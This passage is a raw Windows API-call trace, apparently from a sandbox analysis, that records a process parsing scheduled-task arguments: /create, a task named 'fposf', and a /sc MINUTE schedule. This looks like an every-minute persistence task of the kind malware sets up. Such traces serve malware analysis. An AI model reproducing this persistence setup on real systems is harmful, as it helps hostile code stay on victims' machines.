dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.421] lstrlenW (lpString="p") returned 1 [0156.421] GetThreadLocale () returned 0x409 [0156.421] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.421] lstrlenW (lpString="ru") returned 2 [0156.421] GetThreadLocale () returned 0x409 [0156.421] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.421] lstrlenW (lpString="rp") returned 2 [0156.421] GetThreadLocale () returned 0x409 [0156.421] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.421] lstrlenW (lpString="sc") returned 2 [0156.421] GetThreadLocale () returned 0x409 [0156.421] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.421] lstrlenW (lpString="mo") returned 2 [0156.421] GetThreadLocale () returned 0x409 [0156.421] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.421] lstrlenW (lpString="d") returned 1 [0156.421] GetThreadLocale () returned 0x409 [0156.421] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.422] lstrlenW (lpString="m") returned 1 [0156.422] GetThreadLocale () returned 0x409 [0156.422] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.422] lstrlenW (lpString="i") returned 1 [0156.422] GetThreadLocale () returned 0x409 [0156.422] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.422] lstrlenW (lpString="tn") returned 2 [0156.422] GetThreadLocale () returned 0x409 [0156.422] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.422] lstrlenW (lpString="tr") returned 2 [0156.422] GetThreadLocale () returned 0x409 [0156.422] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.422] lstrlenW (lpString="st") returned 2 [0156.422] GetThreadLocale () returned 0x409 [0156.422] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.422] lstrlenW (lpString="sd") returned 2 [0156.422] GetThreadLocale () returned 0x409 [0156.422] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.422] lstrlenW (lpString="ed") returned 2 [0156.422] GetThreadLocale () returned 0x409 [0156.422] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.422] lstrlenW (lpString="it") returned 2 [0156.422] GetThreadLocale () returned 0x409 [0156.422] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.422] lstrlenW (lpString="et") returned 2 [0156.422] GetThreadLocale () returned 0x409 [0156.422] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.422] lstrlenW (lpString="k") returned 1 [0156.422] GetThreadLocale () returned 0x409 [0156.423] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.423] lstrlenW (lpString="du") returned 2 [0156.423] GetThreadLocale () returned 0x409 [0156.423] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.423] lstrlenW (lpString="ri") returned 2 [0156.423] GetThreadLocale () returned 0x409 [0156.423] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.423] lstrlenW (lpString="z") returned 1 [0156.423] GetThreadLocale () returned 0x409 [0156.423] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.423] lstrlenW (lpString="f") returned 1 [0156.423] GetThreadLocale () returned 0x409 [0156.423] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.423] lstrlenW (lpString="v1") returned 2 [0156.423] GetThreadLocale () returned 0x409 [0156.423] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.423] lstrlenW (lpString="xml") returned 3 [0156.423] GetThreadLocale () returned 0x409 [0156.423] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.423] lstrlenW (lpString="ec") returned 2 [0156.423] GetThreadLocale () returned 0x409 [0156.423] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.423] lstrlenW (lpString="rl") returned 2 [0156.423] GetThreadLocale () returned 0x409 [0156.423] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.423] lstrlenW (lpString="delay") returned 5 [0156.423] GetThreadLocale () returned 0x409 [0156.423] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.423] lstrlenW (lpString="np") returned 2 [0156.423] SetLastError (dwErrCode=0x0) [0156.423] SetLastError (dwErrCode=0x0) [0156.423] lstrlenW (lpString="/create") returned 7 [0156.423] lstrlenW (lpString="-/") returned 2 [0156.424] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.424] lstrlenW (lpString="create") returned 6 [0156.424] lstrlenW (lpString="create") returned 6 [0156.424] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.424] lstrlenW (lpString="create") returned 6 [0156.424] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.424] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|create|") returned 8 [0156.424] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|create|") returned 8 [0156.424] lstrlenW (lpString="|create|") returned 8 [0156.424] lstrlenW (lpString="|create|") returned 8 [0156.424] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0156.424] SetLastError (dwErrCode=0x0) [0156.424] SetLastError (dwErrCode=0x0) [0156.424] SetLastError (dwErrCode=0x0) [0156.424] lstrlenW (lpString="/tn") returned 3 [0156.424] lstrlenW (lpString="-/") returned 2 [0156.424] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.424] lstrlenW (lpString="create") returned 6 [0156.424] lstrlenW (lpString="create") returned 6 [0156.424] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.424] lstrlenW (lpString="tn") returned 2 [0156.424] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.424] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|create|") returned 8 [0156.424] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.424] lstrlenW (lpString="|create|") returned 8 [0156.424] lstrlenW (lpString="|tn|") returned 4 [0156.424] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0156.424] SetLastError (dwErrCode=0x490) [0156.425] lstrlenW (lpString="?") returned 1 [0156.425] lstrlenW (lpString="?") returned 1 [0156.425] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.425] lstrlenW (lpString="tn") returned 2 [0156.425] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.425] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|?|") returned 3 [0156.425] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.425] lstrlenW (lpString="|?|") returned 3 [0156.425] lstrlenW (lpString="|tn|") returned 4 [0156.425] SetLastError (dwErrCode=0x490) [0156.425] lstrlenW (lpString="s") returned 1 [0156.425] lstrlenW (lpString="s") returned 1 [0156.425] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.425] lstrlenW (lpString="tn") returned 2 [0156.425] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.425] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|s|") returned 3 [0156.425] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.425] lstrlenW (lpString="|s|") returned 3 [0156.425] lstrlenW (lpString="|tn|") returned 4 [0156.425] SetLastError (dwErrCode=0x490) [0156.425] lstrlenW (lpString="u") returned 1 [0156.425] lstrlenW (lpString="u") returned 1 [0156.425] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.425] lstrlenW (lpString="tn") returned 2 [0156.425] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.425] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|u|") returned 3 [0156.425] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.425] lstrlenW (lpString="|u|") returned 3 [0156.426] lstrlenW (lpString="|tn|") returned 4 [0156.426] SetLastError (dwErrCode=0x490) [0156.426] lstrlenW (lpString="p") returned 1 [0156.426] lstrlenW (lpString="p") returned 1 [0156.426] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.426] lstrlenW (lpString="tn") returned 2 [0156.426] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.426] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|p|") returned 3 [0156.426] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.426] lstrlenW (lpString="|p|") returned 3 [0156.426] lstrlenW (lpString="|tn|") returned 4 [0156.426] SetLastError (dwErrCode=0x490) [0156.426] lstrlenW (lpString="ru") returned 2 [0156.426] lstrlenW (lpString="ru") returned 2 [0156.426] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.426] lstrlenW (lpString="tn") returned 2 [0156.426] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.426] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|ru|") returned 4 [0156.426] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.426] lstrlenW (lpString="|ru|") returned 4 [0156.426] lstrlenW (lpString="|tn|") returned 4 [0156.426] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0156.426] SetLastError (dwErrCode=0x490) [0156.426] lstrlenW (lpString="rp") returned 2 [0156.426] lstrlenW (lpString="rp") returned 2 [0156.426] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.427] lstrlenW (lpString="tn") returned 2 [0156.427] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.427] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rp|") returned 4 [0156.427] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.427] lstrlenW (lpString="|rp|") returned 4 [0156.427] lstrlenW (lpString="|tn|") returned 4 [0156.427] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0156.427] SetLastError (dwErrCode=0x490) [0156.427] lstrlenW (lpString="sc") returned 2 [0156.427] lstrlenW (lpString="sc") returned 2 [0156.427] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.427] lstrlenW (lpString="tn") returned 2 [0156.427] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.427] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.427] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.427] lstrlenW (lpString="|sc|") returned 4 [0156.427] lstrlenW (lpString="|tn|") returned 4 [0156.427] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0156.427] SetLastError (dwErrCode=0x490) [0156.427] lstrlenW (lpString="mo") returned 2 [0156.427] lstrlenW (lpString="mo") returned 2 [0156.427] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.427] lstrlenW (lpString="tn") returned 2 [0156.427] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.427] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.428] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.428] lstrlenW (lpString="|mo|") returned 4 [0156.428] lstrlenW (lpString="|tn|") returned 4 [0156.428] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0156.428] SetLastError (dwErrCode=0x490) [0156.428] lstrlenW (lpString="d") returned 1 [0156.428] lstrlenW (lpString="d") returned 1 [0156.428] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.428] lstrlenW (lpString="tn") returned 2 [0156.428] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.428] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|d|") returned 3 [0156.428] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.428] lstrlenW (lpString="|d|") returned 3 [0156.428] lstrlenW (lpString="|tn|") returned 4 [0156.428] SetLastError (dwErrCode=0x490) [0156.428] lstrlenW (lpString="m") returned 1 [0156.428] lstrlenW (lpString="m") returned 1 [0156.428] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.428] lstrlenW (lpString="tn") returned 2 [0156.428] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.428] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|m|") returned 3 [0156.428] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.428] lstrlenW (lpString="|m|") returned 3 [0156.428] lstrlenW (lpString="|tn|") returned 4 [0156.428] SetLastError (dwErrCode=0x490) [0156.428] lstrlenW (lpString="i") returned 1 [0156.429] lstrlenW (lpString="i") returned 1 [0156.429] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.429] lstrlenW (lpString="tn") returned 2 [0156.429] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.429] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|i|") returned 3 [0156.429] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.429] lstrlenW (lpString="|i|") returned 3 [0156.429] lstrlenW (lpString="|tn|") returned 4 [0156.429] SetLastError (dwErrCode=0x490) [0156.429] lstrlenW (lpString="tn") returned 2 [0156.429] lstrlenW (lpString="tn") returned 2 [0156.429] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.429] lstrlenW (lpString="tn") returned 2 [0156.429] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.429] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.429] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.429] lstrlenW (lpString="|tn|") returned 4 [0156.429] lstrlenW (lpString="|tn|") returned 4 [0156.429] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0156.429] SetLastError (dwErrCode=0x0) [0156.429] SetLastError (dwErrCode=0x0) [0156.429] lstrlenW (lpString="fposf") returned 5 [0156.429] lstrlenW (lpString="-/") returned 2 [0156.429] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0156.430] SetLastError (dwErrCode=0x490) [0156.430] SetLastError (dwErrCode=0x490) [0156.430] SetLastError (dwErrCode=0x0) [0156.430] lstrlenW (lpString="fposf") returned 5 [0156.430] StrChrIW (lpStart="fposf", wMatch=0x3a) returned 0x0 [0156.430] SetLastError (dwErrCode=0x490) [0156.430] SetLastError (dwErrCode=0x0) [0156.430] lstrlenW (lpString="fposf") returned 5 [0156.430] SetLastError (dwErrCode=0x0) [0156.430] SetLastError (dwErrCode=0x0) [0156.430] lstrlenW (lpString="/sc") returned 3 [0156.430] lstrlenW (lpString="-/") returned 2 [0156.430] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.430] lstrlenW (lpString="create") returned 6 [0156.430] lstrlenW (lpString="create") returned 6 [0156.430] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.430] lstrlenW (lpString="sc") returned 2 [0156.430] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.430] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|create|") returned 8 [0156.430] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.430] lstrlenW (lpString="|create|") returned 8 [0156.430] lstrlenW (lpString="|sc|") returned 4 [0156.430] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0156.430] SetLastError (dwErrCode=0x490) [0156.430] lstrlenW (lpString="?") returned 1 [0156.430] lstrlenW (lpString="?") returned 1 [0156.430] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.431] lstrlenW (lpString="sc") returned 2 [0156.431] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.431] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|?|") returned 3 [0156.431] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.431] lstrlenW (lpString="|?|") returned 3 [0156.431] lstrlenW (lpString="|sc|") returned 4 [0156.431] SetLastError (dwErrCode=0x490) [0156.431] lstrlenW (lpString="s") returned 1 [0156.431] lstrlenW (lpString="s") returned 1 [0156.431] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.431] lstrlenW (lpString="sc") returned 2 [0156.431] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.431] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|s|") returned 3 [0156.431] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.431] lstrlenW (lpString="|s|") returned 3 [0156.431] lstrlenW (lpString="|sc|") returned 4 [0156.431] SetLastError (dwErrCode=0x490) [0156.431] lstrlenW (lpString="u") returned 1 [0156.431] lstrlenW (lpString="u") returned 1 [0156.431] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.431] lstrlenW (lpString="sc") returned 2 [0156.431] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.431] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|u|") returned 3 [0156.431] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.432] lstrlenW (lpString="|u|") returned 3 [0156.432] lstrlenW (lpString="|sc|") returned 4 [0156.432] SetLastError (dwErrCode=0x490) [0156.432] lstrlenW (lpString="p") returned 1 [0156.432] lstrlenW (lpString="p") returned 1 [0156.432] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.432] lstrlenW (lpString="sc") returned 2 [0156.432] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.432] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|p|") returned 3 [0156.432] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.432] lstrlenW (lpString="|p|") returned 3 [0156.432] lstrlenW (lpString="|sc|") returned 4 [0156.432] SetLastError (dwErrCode=0x490) [0156.432] lstrlenW (lpString="ru") returned 2 [0156.432] lstrlenW (lpString="ru") returned 2 [0156.432] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.432] lstrlenW (lpString="sc") returned 2 [0156.432] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.432] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|ru|") returned 4 [0156.432] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.432] lstrlenW (lpString="|ru|") returned 4 [0156.432] lstrlenW (lpString="|sc|") returned 4 [0156.432] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0156.432] SetLastError (dwErrCode=0x490) [0156.432] lstrlenW (lpString="rp") returned 2 [0156.432] lstrlenW (lpString="rp") returned 2 [0156.432] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.433] lstrlenW (lpString="sc") returned 2 [0156.433] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.433] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rp|") returned 4 [0156.433] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.433] lstrlenW (lpString="|rp|") returned 4 [0156.433] lstrlenW (lpString="|sc|") returned 4 [0156.433] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0156.433] SetLastError (dwErrCode=0x490) [0156.433] lstrlenW (lpString="sc") returned 2 [0156.433] lstrlenW (lpString="sc") returned 2 [0156.433] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.433] lstrlenW (lpString="sc") returned 2 [0156.433] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.433] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.433] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.433] lstrlenW (lpString="|sc|") returned 4 [0156.433] lstrlenW (lpString="|sc|") returned 4 [0156.433] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0156.433] SetLastError (dwErrCode=0x0) [0156.433] SetLastError (dwErrCode=0x0) [0156.433] lstrlenW (lpString="MINUTE") returned 6 [0156.433] lstrlenW (lpString="-/") returned 2 [0156.433] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0156.433] SetLastError (dwErrCode=0x490) [0156.433] SetLastError (dwErrCode=0x490) [0156.433] SetLastError (dwErrCode=0x0) [0156.434] lstrlenW (lpString="MINUTE") returned 6 [0156.434] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0156.434] SetLastError (dwErrCode=0x490) [0156.434] SetLastError (dwErrCode=0x0) [0156.434] GetProcessHeap () returned 0x300000 [0156.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31d4c0 [0156.434] _memicmp (_Buf1=0x31d4c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.434] lstrlenW (lpString="MINUTE") returned 6 [0156.434] GetProcessHeap () returned 0x300000 [0156.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0xe) returned 0x31d580 [0156.434] lstrlenW (lpString="MINUTE") returned 6 [0156.434] lstrlenW (lpString=" \x09") returned 2 [0156.434] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0156.434] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0156.434] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0156.434] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0156.434] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0156.434] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0156.434] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0156.434] GetLastError () returned 0x0 [0156.434] lstrlenW (lpString="MINUTE") returned 6 [0156.434] lstrlenW (lpString="MINUTE") returned 6 [0156.434] SetLastError (dwErrCode=0x0) [0156.434] SetLastError (dwErrCode=0x0) [0156.434] lstrlenW (lpString="/mo") returned 3 [0156.435] lstrlenW (lpString="-/") returned 2 [0156.435] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.435] lstrlenW (lpString="create") returned 6 [0156.435] lstrlenW (lpString="create") returned 6 [0156.435] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.435] lstrlenW (lpString="mo") returned 2 [0156.435] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.435] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|create|") returned 8 [0156.435] 